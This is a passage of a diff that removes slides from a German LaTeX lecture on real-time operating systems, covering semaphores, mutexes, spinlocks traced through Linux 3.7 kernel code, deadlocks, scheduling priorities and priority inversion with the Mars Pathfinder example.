-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-      \begin{onlyenv}<1>
-        \par\medskip
-        griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\
-        "`Eisenbahnsignal"'
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-      \begin{onlyenv}<2>
-        \par\medskip
-        englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\
-        spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\
-        % allgemein: auch jemand anderer dürfte freigeben
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-      \begin{onlyenv}<3>
-        \par\medskip
-        englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\
-        \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount]
-        Hardware-Unterstützung:
-        Prüfen, ob Variable bestimmten Wert hat;\\
-        wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-  \end{itemize}
-  \vspace*{-1cm}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren --
-  Beispiel: \file{linux-3.7rc1}
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      \file{kernel/semaphor.c}\\
-      \file{drivers/usb/core/file.c}
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      \file{kernel/mutex.c}\\
-      \file{drivers/usb/serial/usb-serial.c}
-    \medskip
-    \item
-      \newterm{Spinlock}\\
-      \file{kernel/spinlock.c}\\
-      \file{kernel/semaphor.c},
-      \file{kernel/mutex.c}
-  \end{itemize}
-
-  % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
-  % evtl. Aufgabe: Warte-Problem
-
-  % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
-  % das o.a. Zuteilungsproblem?
-
-  % Danach: Semaphoren, Mutexe, Spinlocks
-  % Priorisierungsmethoden und -probleme
-
-  % Festplatten: completely fair queueing
-  % cat /sys/block/sdc/queue/scheduler
-  % "noop" hat sich für SVG gelohnt
-
-  % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \textbf{Beispiel:}
-  \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    struct usb_serial *usb_serial_get_by_index (unsigned index)
-    {
-      struct usb_serial *serial;
-      mutex_lock (&table_lock);
-      serial = serial_table[index];
-      if (serial)
-        {
-          mutex_lock (&serial->disc_mutex);
-          if (serial->disconnected)
-            {
-              mutex_unlock (&serial->disc_mutex);
-              serial = NULL;
-            }
-          else
-            kref_get (&serial->kref);
-        }
-      mutex_unlock (&table_lock);
-      return serial;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(5.1,6.85){\vector(-1,0){0.5}}
-    \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}}
-    \put(5.4,1.35){\vector(-1,0){0.5}}
-    \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{48cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    void __sched mutex_lock (struct mutex *lock)
-    {
-      might_sleep ();
-      __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath);
-      mutex_set_owner (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.6,1.35){\line(-1,0){1}}
-    \put(11.6,1.35){\line(0,-1){2.45}}
-    \put(11.6,-1.10){\vector(-1,0){2.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24
-
-  Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert)
-
-  \medskip
-
-  Assembler:
-  \begin{lstlisting}[language={[x86masm]Assembler}]
-        lock dec (lock->count)
-        jns 1
-        call __mutex_lock_slowpath
-    1:
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9,0.95){\line(-1,0){3.5}}
-    \put(9,0.95){\line(0,-1){2.5}}
-    \put(9.0,-1.55){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398
-
-  \medskip
-
-  \begin{lstlisting}
-    static __used noinline void __sched
-      __mutex_lock_slowpath (atomic_t *lock_count)
-    {
-      struct mutex *lock = container_of (lock_count, struct mutex, count);
-      __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0,
-                               NULL, _RET_IP_);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.0,1.40){\line(-1,0){1.0}}
-    \put(11.0,1.40){\vector(0,-1){2.5}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int __sched
-    __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass,
-                             struct lockdep_map *nest_lock, unsigned long ip)
-    {
-      struct task_struct *task = current;
-      struct mutex_waiter waiter;
-      unsigned long flags;
-
-      preempt_disable ();
-      mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip);
-
-      /* ... */
-
-      spin_lock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_lock_common (lock, &waiter);
-      debug_mutex_add_waiter (lock, &waiter, task_thread_info (task));
-
-      /* add waiting tasks to the end of the waitqueue (FIFO): */
-      list_add_tail (&waiter.list, &lock->wait_list);
-      waiter.task = task;
-
-      if (atomic_xchg (&lock->count, -1) == 1)
-        goto done;
-
-      lock_contended (&lock->dep_map, ip);
-
-      for (;;)
-        {
-          /*
-           * Lets try to take the lock again - this is needed even if
-           * we get here for the first time (shortly after failing to
-           * acquire the lock), to make sure that we get a wakeup once
-           * it's unlocked. Later on, if we sleep, this is the
-           * operation that gives us the lock. We xchg it to -1, so
-           * that when we release the lock, we properly wake up the
-           * other waiters:
-           */
-          if (atomic_xchg (&lock->count, -1) == 1)
-            break;
-
-          /*
-           * got a signal? (This code gets eliminated in the
-           * TASK_UNINTERRUPTIBLE case.)
-           */
-          if (unlikely (signal_pending_state (state, task)))
-            {
-              mutex_remove_waiter (lock, &waiter, task_thread_info (task));
-              mutex_release (&lock->dep_map, 1, ip);
-              spin_unlock_mutex (&lock->wait_lock, flags);
-
-              debug_mutex_free_waiter (&waiter);
-              preempt_enable ();
-              return -EINTR;
-            }
-          __set_task_state (task, state);
-
-          /* didn't get the lock, go to sleep: */
-          spin_unlock_mutex (&lock->wait_lock, flags);
-          schedule_preempt_disabled ();
-          spin_lock_mutex (&lock->wait_lock, flags);
-        }
-
-    done:
-      lock_acquired (&lock->dep_map, ip);
-      /* got the lock - rejoice! */
-      mutex_remove_waiter (lock, &waiter, current_thread_info ());
-      mutex_set_owner (lock);
-
-      /* set it to 0 if there are no waiters left: */
-      if (likely (list_empty (&lock->wait_list)))
-        atomic_set (&lock->count, 0);
-
-      spin_unlock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_free_waiter (&waiter);
-      preempt_enable ();
-
-      return 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(7.9,28.3){\vector(-1,0){0.5}}
-    \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}}
-    \put(7.4,2.3){\vector(-1,1){0.4}}
-    \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{40.5cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting}
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12
-
-  \medskip
-
-  \begin{lstlisting}
-    #define spin_lock_mutex(lock, flags) \
-      do \
-        { \
-          spin_lock (lock); \
-          (void) (flags); \
-        } \
-      while (0)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(8.5,1.75){\line(-1,0){4.5}}
-    \put(8.5,1.75){\line(0,-1){2.9}}
-    \put(8.5,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline void spin_lock (spinlock_t *lock)
-    {
-      raw_spin_lock (&lock->rlock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.3,0.95){\line(-1,0){4.0}}
-    \put(9.3,0.95){\line(0,-1){2.1}}
-    \put(9.3,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170
-
-  \medskip
-
-  \begin{lstlisting}
-    #define raw_spin_lock(lock)  _raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.0,0.55){\line(-1,0){0.5}}
-    \put(10.0,0.55){\line(0,-1){1.7}}
-    \put(10.0,-1.15){\vector(-1,0){1.3}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47
-
-  \medskip
-
-  \begin{lstlisting}
-    #define _raw_spin_lock(lock)  __raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,0.55){\line(-1,0){0.5}}
-    \put(10.7,0.55){\line(0,-1){1.75}}
-    \put(10.7,-1.2){\vector(-1,0){2.3}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert):
-
-  \medskip
-
-  \begin{lstlisting}
-    void __lockfunc __raw_spin_lock (spinlock_t *lock)
-    {
-      for (;;)
-        {
-          preempt_disable ();
-          if (likely (do_raw_spin_trylock (lock)))
-            break;
-          preempt_enable ();
-
-          if (!(lock)->break_lock)
-            (lock)->break_lock = 1;
-          while (!raw_spin_can_lock (lock) && (lock)->break_lock)
-            arch_spin_relax (&lock->raw_lock);
-        }
-      (lock)->break_lock = 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,4.75){\line(-1,0){3.5}}
-    \put(10.7,4.75){\line(0,-1){5.95}}
-    \put(10.7,-1.2){\vector(-1,0){1.1}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150:
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int do_raw_spin_trylock (raw_spinlock_t *lock)
-    {
-      return arch_spin_trylock (&(lock)->raw_lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.5,0.95){\line(-1,0){3.5}}
-    \put(11.5,0.95){\line(0,-1){2.1}}
-    \put(11.5,-1.15){\vector(-1,0){0.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int arch_spin_trylock (arch_spinlock_t *lock)
-    {
-      return __ticket_spin_trylock (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.5,0.95){\line(-1,0){3.5}}
-    \put(9.5,0.95){\vector(0,-1){1.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock)
-    {
-      arch_spinlock_t old, new;
-
-      old.tickets = ACCESS_ONCE (lock->tickets);
-      if (old.tickets.head != old.tickets.tail)
-        return 0;
-
-      new.head_tail = old.head_tail + (1 << TICKET_SHIFT);
-
-      /* cmpxchg is a full barrier, so nothing can move before it */
-      return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,0.3){\line(0,1){0.4}}
-    \put(9.0,0.3){\line(-1,0){6.8}}
-    \put(9.0,0.3){\line(0,-1){1.45}}
-    \put(9.0,-1.15){\vector(-1,0){3.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define cmpxchg(ptr, old, new) \
-      __cmpxchg (ptr, old, new, sizeof (*(ptr)))
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.0,0.5){\line(-1,0){1.8}}
-    \put(9.0,0.5){\line(0,-1){1.65}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define __cmpxchg(ptr, old, new, size) \
-      __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,-0.1){\line(0,1){0.3}}
-    \put(9.0,-0.1){\line(-1,0){6.8}}
-    \put(9.0,-0.1){\line(0,-1){1.05}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110:
-
-  \medskip
-
-  \begin{lstlisting}
-    asm volatile (lock "cmpxchgl %2,%1" \
-                  : "=a" (__ret), "+m" (*__ptr) \
-                  : "r" (__new), "0" (__old) \
-                  : "memory");
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.8,1.8){\vector(-1,0){0.6}}
-    \put(9.8,1.2){\line(0,1){0.6}}
-    \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{\normalpdfpageheight}
-
-%\sectionnonumber{Literaturempfehlung}
-%\subsectionnonumber{Automotive Embedded Systeme}
-%
-%\begin{frame}[c]
-%
-%  \showsectionnonumber
-%
-%  Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
-%  Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
-%
-%  \medskip
-%
-%  \showsubsectionnonumber
-%
-%  \vspace{-\medskipamount}
-%
-%  Springer-Verlag, Berlin, Heidelberg 2005
-%
-%  \bigskip
-%
-%  Lizenz: proprietär
-%
-%  \medskip
-%
-%  (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
-%
-%\end{frame}
-
-\sectionnonumber{Theorie der Echtzeitsysteme}
-\subsection{Multitasking}
-\subsection{Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{picture}(0,0)
-    \only<1>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}}
-  \end{picture}%
-  \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen
-  \begin{itemize}
-    \item
-      \newterm{Deadlock\/}: Prozeß wartet
-    \item
-      \newterm{Livelock\/}: Prozeß macht andere Dinge\\
-      (z.\,B.\ \emph{busy waiting\/})
-  \end{itemize}
-
-  \smallskip
-
-  Beispiel: Philosophenproblem
-
-  \only<1>{%
-    \begin{itemize}
-      \item
-        5 Philosophen, 5 Gabeln
-      \item
-        2 Gabeln zum Essen notwendig
-      \item
-        Wer essen will, nimmt eine Gabel\\
-        und wartet notfalls auf die zweite.
-      \item
-        Keiner legt eine einzelne Gabel\\
-        wieder zurück.
-    \end{itemize}
-    Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount]
-    \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\
-    \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm]
-  }
-  \only<2->{%
-    \bigskip
-
-    Bedingungen für Verklemmungen:
-
-    \begin{minipage}[t]{4.5cm}
-      \begin{itemize}
-        \item
-          Exklusivität
-        \item
-          \newterm{hold and wait}
-        \item
-          Entzug nicht möglich
-        \item
-          zirkuläre Blockade
-      \end{itemize}
-    \end{minipage}% \pause[5]
-    \begin{minipage}[t]{7.5cm}
-      \begin{itemize}
-        \arrowitem
-          Spooling
-        \arrowitem
-          simultane Zuteilung
-        \arrowitem
-          Prozesse suspendieren, beenden, \newterm{Rollback}
-        \arrowitem
-          Reihenfolge abhängig von Ressourcen
-      \end{itemize}
-    \end{minipage}
-  }
-
-\end{frame}
-
-\subsection{Prioritäten}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Linux 0.01
-  \begin{itemize}
-    \item
-      Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\
-      Prozeß mit höchstem Zähler bekommt Rechenzeit.
-    \item
-      Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\
-      bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen.
-    \item
-      \emph{keine\/} harte Echtzeit
-    \arrowitem
-      \newterm{dynamische Prioritätenvergabe\/}:\\
-      Rechenzeit hängt vom Verhalten des Prozesses ab
-  \end{itemize}
-
-  \medskip
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-    \arrowitem
-      \newterm{statische Prioritätenvergabe}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-  \end{itemize}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
-      \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}}
-      \alt<1>{%
-        \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-      }{%
-        \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}}
-      }
-      \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-      \put(0,1){\line(1,0){10}}
-
-      \pause
-
-      \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
-      \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
-      \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
-      \put(0,2){\line(1,0){10}}
-
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \only<4->{%
-    Der höher priorisierte Prozeß bewirkt selbst,\\
-    daß er eine Ressource verspätet bekommt.
-
-    \medskip
-
-    \textarrow\ \newterm{begrenzte Prioritätsinversion}
-
-    \medskip
-
-    maximale Verzögerung: Länge des kritischen Bereichs
-  }
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}}
-      \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}}
-      \only<3-4>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-      }
-      \only<5->{%
-        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-      }
-      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-      \only<1-2>{%
-        \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-      }
-      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \only<2->{%
-        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-        \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
-        \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
-        \only<2-4>{%
-          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<5->{%
-          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}}
-          \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}}
-        }
-        \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
-        \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        \put(0,1){\line(1,0){10}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \visible<4->{%
-    Ein Prozeß mit mittlerer Priorität bewirkt,
-    daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-    \medskip
-
-  \textarrow\ }\newterm{unbegrenzte Prioritätsinversion}
-
-  \pause
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-      \only<2>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-        \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      }
-      \put(0,3){\line(1,0){10}}
-
-      \only<2->{%
-        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-        \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-        \alt<1-4>{%
-          \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
-        }{%
-          \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-        }
-        \only<2>{%
-          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<3-4>{%
-          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-%          \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<2>{%
-          \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
-          \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \put(0,1){\line(1,0){10}}
-      }
-
-      \only<5->{%
-        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-        \put(0,2){\line(1,0){10}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \medskip
-
-  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
-  \only<1>{%
-    \begin{center}
-      \includegraphics[width=8.7cm]{pathfinder.jpg}
-      \vspace*{-1.5cm}
-    \end{center}
-  }
-
-  \bigskip
-
-  \only<2>{%
-    Gegenmaßnahmen
-    \begin{itemize}
-      \item
-        \newterm{Priority Inheritance -- Prioritätsvererbung}\\
-        Der Besitzer des Mutex erbt die Priorität\\
-        des Prozesses, der auf den Mutex wartet.
-    \end{itemize}
-
-    \bigskip
-
-    \begin{minipage}{7.0cm}
-      \begin{flushright}
-        \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/}
-      \end{flushright}
-    \end{minipage}
-
-    \vspace{1.35cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.8cm]{pathfinder.jpg}}\vspace*{-1cm}
-  }
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \bigskip
-
-  Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
